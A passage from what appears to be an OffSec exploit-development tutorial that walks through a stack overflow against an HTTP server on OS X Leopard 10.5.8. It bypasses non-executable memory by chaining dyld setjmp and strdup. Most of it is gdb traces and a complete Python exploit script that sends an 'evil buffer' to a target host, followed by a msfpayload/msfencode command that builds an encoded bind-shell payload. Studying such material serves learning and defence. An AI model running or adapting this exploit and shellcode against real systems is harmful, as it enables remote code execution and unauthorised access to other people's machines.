(gdb) b *0x8fe1d026
Breakpoint 2 at 0x8fe1d026
(gdb) c
Continuing.
[Switching to process 1386 thread 0x670f]
Breakpoint 2, 0x8fe1d026 in __dyld__setjmp ()
(gdb) x /4i $eip
0x8fe1d026 [__dyld__setjmp+62]: ret
0x8fe1d027 [__dyld__setjmp+63]: nop
0x8fe1d028 [__dyld__longjmp]: fninit
0x8fe1d02a [__dyld__longjmp+2]: mov 0x4(%esp),%ecx
(gdb) x /20x $esp
0xb01bee00: 0x8fe66468 0x8fe66448 0xe0895890 0x0000c083
0xb01bee10: 0x00000000 0x00000000 0x00000000 0x967e6587
0xb01bee20: 0xa087c708 0x00000000 0x00000000 0x967e6730
0xb01bee30: 0xa087c708 0x0089e400 0x0089f600 0x967bbb7d
0xb01bee40: 0x967bbb7d 0x00003c03 0xb01bee88 0x967bbe51
So we have hit our breakpoint just before the final return in setjmp. As we can see ESP points to 0x8fe66468 which will be where execution continues from when this function returns. Lets single step this instruction and see what we end up with.
(gdb) si
0x8fe66468 in ?? ()
(gdb) x /4i $eip
0x8fe66468: nop
0x8fe66469: pop %eax
0x8fe6646a: popa
0x8fe6646b: ret
Good, so EIP is pointing to the address of writable memory which now, thanks to the setjmp call, contains the assembly commands from FRAG0.
Let’s step through these instructions:
(gdb) si
0x8fe66469 in ?? ()
(gdb) si
0x8fe6646a in ?? ()
(gdb) si
warning: Got an error handling event: "Cannot access memory at address 0x4".
(gdb) x /i $eip
0x8fe6646b: ret
(gdb) info registers
eax 0x0 0
ecx 0xa087c708 -1601714424
edx 0x967e6587 -1770101369
ebx 0x0 0
esp 0xb01bee28 0xb01bee28
ebp 0x0 0x0
esi 0xc083 49283
edi 0xe0895890 -527869808
eip 0x8fe6646b 0x8fe6646b
eflags 0x246 582
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x1f 31
gs 0x37 55
(gdb) x /20x $esp
0xb01bee28: 0x00000000 0x967e6730 0xa087c708 0x0089d400
0xb01bee38: 0x0089e600 0x967bbb7d 0x967bbb7d 0x00003c03
0xb01bee48: 0xb01bee88 0x967bbe51 0xa088b100 0x00000000
0xb01bee58: 0x00000000 0x00000000 0x00000000 0x12141968
0xb01bee68: 0x00000000 0x00003d03 0x00000000 0x00000000
(gdb) si
warning: Got an error handling event: "Cannot access memory at address 0x4".
(gdb) si
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000000
0x00000000 in ?? ()
So before we issue the return instruction from the FRAG0 code ESP contains the memory address 0x00000000 which gets popped into EIP and halts our execution.
Let’s restart and place a breakpoint at the start of setjmp and examine what our buffer looks like on the stack:
(gdb) b *0x8fe1cf38
Breakpoint 1 at 0x8fe1cf38
(gdb) c
Continuing.
[Switching to process 1445 thread 0x670f]
Breakpoint 1, 0x8fe1cf38 in __dyld_setjmp ()
(gdb) x /32x $esp-20
0xb01bedec: 0x41414141 0x41414141 0x41414141 0xc3615890
0xb01bedfc: 0x8fe1cf38 0x8fe66468 0x8fe66448 0xe0895890
0xb01bee0c: 0x0000c083 0x00000000 0x00000000 0x00000000
0xb01bee1c: 0x967e6587 0xa087c708 0x00000000 0x00000000
0xb01bee2c: 0x967e6730 0xa087c708 0x0089fc00 0x008a0e00
0xb01bee3c: 0x967bbb7d 0x967bbb7d 0x00003c03 0xb01bee88
0xb01bee4c: 0x967bbe51 0xa088b100 0x00000000 0x00000000
0xb01bee5c: 0x00000000 0x00000000 0x12141968 0x00000000
If we compare the values on the stack to our exploit buffer, we see the end of our initial large group of A characters (0x41 in Hex) followed by FRAG0 (0xc3615890), SETJMP (0x8fe1cf38) , WRITEABLE+32 (0x8fe66468) and WRITEABLE (0x8fe66448). Following this in our buffer should be FRAG1 but on closer examination it would appear that this had been truncated in the middle.
It would therefore appear that 0x0C is a bad character in our payload. After a bit of manual experimentation we find that 0x0e is the next allowed character so we replace this in our attack string. The setjmp() function only allows us 12 bytes of code in which to put our assembly instructions so this doesn’t give us enough room to modify EAX to it’s desired value using dec or sub operations.
Let’s check to see what the consequences are of our modification the FRAG1 code snippet.
(gdb) info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x8fe1d026 [__dyld__setjmp+62]
2 breakpoint keep y 0x8fe210dc [__dyld_strdup]
(gdb) c
Continuing.
[Switching to process 1520 thread 0x689f]
Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()
(gdb) set disassembly-flavor intel
(gdb) x /4i $eip
0x8fe1d026 [__dyld__setjmp+62]: ret
0x8fe1d027 [__dyld__setjmp+63]: nop
0x8fe1d028 [__dyld__longjmp]: fninit
0x8fe1d02a [__dyld__longjmp+2]: mov ecx,DWORD PTR [esp+0x4]
(gdb) si
0x8fe66468 in ?? ()
(gdb) x /4i $eip
0x8fe66468: nop
0x8fe66469: pop eax
0x8fe6646a: popa
0x8fe6646b: ret
So we have hit our breakpoint at the end of setjmp, we single step and meet our FRAG0 code which looks intact in memory so we continue:
(gdb) c
Continuing.
Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()
(gdb) si
0x8fe66460 in ?? ()
(gdb) x /6i $eip
0x8fe66460: nop
0x8fe66461: pop eax
0x8fe66462: mov eax,esp
0x8fe66464: add eax,0xe
0x8fe66467: mov DWORD PTR [esp+0x8],eax
0x8fe6646b: ret
Again we step over the return and we can now see that execution is pointing to our modified but intact FRAG1 code.
Let’s try fixing the code and changing the 0x0e back to 0x0c to test if things work correctly:
(gdb) set {int}0x8fe66464 = 0x890cc083
(gdb) x /6i $eip
0x8fe66460: nop
0x8fe66461: pop eax
0x8fe66462: mov eax,esp
0x8fe66464: add eax,0xc
0x8fe66467: mov DWORD PTR [esp+0x8],eax
0x8fe6646b: ret
(gdb) c
Continuing.
Breakpoint 2, 0x8fe210dc in __dyld_strdup ()
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0012db31 in ?? ()
(gdb) x /i $eip
0x12db31: int3
So it look’s like we have correctly executed our desired shellcode. Let’s run it again and see what happens without manually fixing the FRAG1 instructions in memory.
So this time we hit our breakpoint the first time setjmp is called, let’s continue on to the second.
Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()
(gdb) c
Continuing.
We hit the breakpoint for a second time and we can step over the return at the end of setjmp so we are executing the modified FRAG1 code.
Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()
(gdb) si
0x8fe66460 in ?? ()
(gdb) x /6i $eip
0x8fe66460: nop
0x8fe66461: pop eax
0x8fe66462: mov eax,esp
0x8fe66464: add eax,0xe
0x8fe66467: mov DWORD PTR [esp+0x8],eax
0x8fe6646b: ret
So before execution the stack is:
(gdb) x /8 $esp
0xb01bee30: 0x8fe66448 0x8fe210dc 0x8fe01041 0x41414141
0xb01bee40: 0xcccccccc 0x00003d00 0xb01bee88 0x967bbe51
And EAX:
(gdb) p /x $eax
$1 = 0x0
We take the next nop instruction followed by pop %eax which takes the top four bytes from the stack and loads them into register EAX:
0x8fe66462 in ?? ()
(gdb) p /x $eax
$3 = 0x8fe66448
Next we move the value of ESP into EAX:
(gdb) p /x $eax
$4 = 0xb01bee34
Now we add 0xE to the value of EAX:
(gdb) p /x $eax
$5 = 0xb01bee42
And finally we store the resulting value of EAX onto the stack at ESP+8
(gdb) x /8 $esp
0xb01bee34: 0x8fe210dc 0x8fe01041 0xb01bee42 0xcccccccc
0xb01bee44: 0x00003d00 0xb01bee88 0x967bbe51 0xa088b100
This address which points to a portion of the stack is used as the argument to strdup() which is used to copy our exploit code into heap memory.
If we examine the what this address is pointing at we see:
(gdb) x /4x 0xb01bee42
0xb01bee42: 0x3d00cccc 0xee880000 0xbe51b01b 0xb100967b
So rather than pointing to the beginning of our payload (0xcccccccc) we are 2 bytes out, this is because we had to modify FRAG1 to remove the bad character. Hopefully we can pad the start of our shell code with a couple of nops to fix things up.
#!/usr/bin/python
import socket
import struct
# Settings for Leopard 10.5.8
WRITEABLE = 0x8fe66448
SETJMP = 0x8fe1cf38 #$ nm /usr/lib/dyld | grep "setjmp" #8fe1cf38 t _setjmp
STRDUP = 0x8fe210dc #$ nm /usr/lib/dyld | grep "strdup" #8fe210dc t _strdup
JMPEAX = 0x8fe01041 #0x8fe01041 [__dyld__dyld_start+49]: jmp *%eax
NOP="x90x90x90x90"
buf="xccxccxccxcc"
FRAG0 = "x90" + "x58" + "x61" + "xc3"
FRAG1 = "x90" + "x58" + "x89xe0" + "x83xc0x0e" + "x89x44x24x08" + "xc3" # x0c is a bad char
STUB =
FRAG0 +
struct.pack(']III',SETJMP,WRITEABLE+32,WRITEABLE) +
FRAG1 +
'A'*20 +
struct.pack(']IIIII',SETJMP,WRITEABLE+24,WRITEABLE,STRDUP,JMPEAX) +
'A'*4
BUFFER = "A"*1308 + STUB + NOP + buf
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.29',8080))
print '[+] Sending evil buffer...'
s.send("GET " +BUFFER + " HTTP/1.0rnrn")
s.close()
We attach gdb and we get:
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 1607 thread 0x613f]
0x00120cd3 in ?? ()
(gdb) x /i $eip
0x120cd3: int3
Great we have now hit the breakpoints in our dummy payload. Next job is to replace our breakpoints with something more useful…
Shellcode Generation
We’ll use Metasploit’s msfpayload to generate an OS X bind shell.
Due to the earlier issues with bad characters we will need to encode the shellcode to avoid these, and other known bad characters:
$ msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -e x86/shikata_ga_nai -b 'x00xffx09x0ax0bx0cx0cx0dx20' -t ruby
We can now replace our dummy payload with this shellcode and launch our exploit:
Fire up the Quattro..
Completed Exploit
You can find the completed working exploit on the exploit-database.
Let is Snow
You may have spotted that this exploit is set to run on OS X Leopard 10.5.8, however the latest version of Apple’s OS is Snow Leopard (10.6.x). Unfortunately it appears that the setjmp() function has been removed from /usr/lib/dyld in Snow Leopard which break the technique used above. It may be possible to hijack other function calls in dyld to gain code execution but I expect future exploits will more likely use ROP to bypass non-executable memory segments.
About the author
Paul Harrington (a.k.a. “d1dn0t”) has been working in IT Security for 10 years, working as an independent contractor for several well known global companies.
When he gets a chance to escape from corporate policies and procedures he enjoys Vulnerability Development and Penetration Testing.
Paul is 0x26 years old and currently lives in the North West of England. You can reach him via didnot [at] me {dot} com.
Thanks to
Dino Dai Zovi for coming up with the technique in this book and giving me some pointers. His blog is an excellent read.
Thank also go to the Offensive Security Team for feeding my passion. Special Thanks to Ryujin for my inane python queries.
Cybersecurity leader resources
Sign up for the Secure Leader and get the latest info on industry trends, resources and best practices for security leaders every other week
Latest from OffSec
OffSec News
OffSec Yearly Recap 2024
Join us as we explore all our successes in 2024, including exciting new content, courses, and so much more!
Dec 23, 2024
8 min read
Enterprise Security
Red Team vs Blue Team in Cybersecurity
Learn what a red team and blue team in cybersecurity are, pros and cons of both, as well as how they work together.
Dec 13, 2024
13 min read
Enterprise Security
Building a Future-Ready Cybersecurity Workforce: The OffSec Approach to Talent Development
Learn all about our recent webinar “Building a Future-Ready Cyber Workforce: The OffSec Approach to Talent Development”.
Dec 13, 2024
4 min read